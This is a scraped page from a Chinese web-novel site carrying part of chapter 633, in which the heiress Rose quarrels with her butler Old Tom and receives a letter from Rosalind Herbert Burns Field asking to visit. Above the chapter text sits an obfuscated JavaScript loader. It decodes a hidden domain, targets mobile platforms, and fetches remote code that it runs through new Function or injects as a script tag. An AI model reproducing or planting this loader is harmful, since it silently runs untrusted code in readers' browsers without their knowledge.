妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第633章 Ch632 罗莎琳德赫伯特伯恩斯菲尔德(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

('第633章ch.632罗莎琳德·赫伯特·伯恩斯·菲尔德

上流、体面、优雅的吸引。

要让老汤姆说,也不是没有办法。

上流。

体面。

优雅。

摆上几瓶王室精藏的红酒,以最隆重的排场迎接心爱的男人,用最繁琐、古老且优雅地方式邀请他入座——

然后*自己。

完全符合要求。

但老汤姆不能这样对莉莉安讲。

他知道,也听老爷说过,自家小姐心里一直念叨着那个先生——执行官,一位审判庭的天才,被伊妮德·茱提亚偏爱(不清不楚的关系)的男士。

他出身低微,甚至卑贱。有个开草药铺的叔叔(我主啊,那能算‘铺’?)

还有个不知从哪弄回来的‘养母’——

他竟然要自己的养母和叔叔没有廉耻地住在了一起。

这样的人可配不上雪莱家的姑娘。

甚至都配不上‘养女’。

哪怕他在有前途,和泰勒交好,未来凿凿成为高环——那也是未来的事情了。

“为您聘请的老师,教的正是能要您上流、体面、优雅地吸引绅士的能耐,小姐,您只要用心学…”

“我不认为罗兰喜欢听计算和烟草方面的知识。”萝丝蒙着脸嘟囔。

“可那是让您更加优秀的知识,只要您足够优秀,就会有更多、更加优秀的男士倾心…”

萝丝唔了一声:“那和我有什么关系。”

老汤姆叹气,把话题重新扯回来:“我们还是谈谈眼睛的事,小姐。咖啡的蒸汽不能让您更有魅力——您听谁说的?”

“我可不会出卖朋友,”萝丝扯下布巾,随手往桌上一扔:“哈莉妲!哈莉妲!”

她把哈莉妲叫过来,要她认认真真瞧瞧自己的眼睛。

“是不是比昨天亮了些?”

哈莉妲只觉得她脸上一股到处乱飞的浓咖啡的气味。

“…可、可能吧,小姐。”

“什么叫‘可能吧’?”萝丝不满:“肯定是咖啡有问题。”

老管家揉了揉额角,把那封信摆在桌上——顺便收走了用过的布巾。

“谁的信?”

萝丝伸了伸脖子,这些日子来她还是学了点东西的——至少认些简单的字没问题。

上面写着她的名字。

“给我的?”

“显然,还有一份给了老爷,”老汤姆把布巾搭在自己的小臂上,心中有些不解:“我记得您说过,不会接触她。”

接触…

谁?

萝丝眨眨眼,抄起信封,在管家欲言又止的表情下,用指甲扣开了火漆,抽出里面薄薄的信纸。

其信用词并不华丽繁复,照萝丝的话说,并不是那种‘主动制造困难’的信。

简单的短句,问了身体健康,提到了伦敦的天气,讲了些趣闻。

然后直入正题。

她希望能登门拜访,拜访这个雪莱家的新继承人,那偶然听闻的‘聪慧’又‘魅力十足’的新继承人——

落款是:

罗莎琳德·赫伯特·伯恩斯·菲尔德。

谁…

来着?

萝丝转了转眼珠。

哦,对了。

那个拥有哈莉妲需要的仪式的女人。

继承了三任丈夫财产的女人。

“我以为您不会用不体面的方式接触她,”老汤姆观察着自家小姐的表情,发现她似乎真不大感兴趣,心里才踏实下来:“伯恩斯可没什么好名声,您可千万别主动登门——未婚小姐绝不干这事。”

“所以我没有。”

萝丝把信叠了两折,随手扔在桌上:“我本来想,但是…”

她本来想抓个舌头,问出细节,找个无光的夜晚带着哈莉妲偷偷潜进去——咦?

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间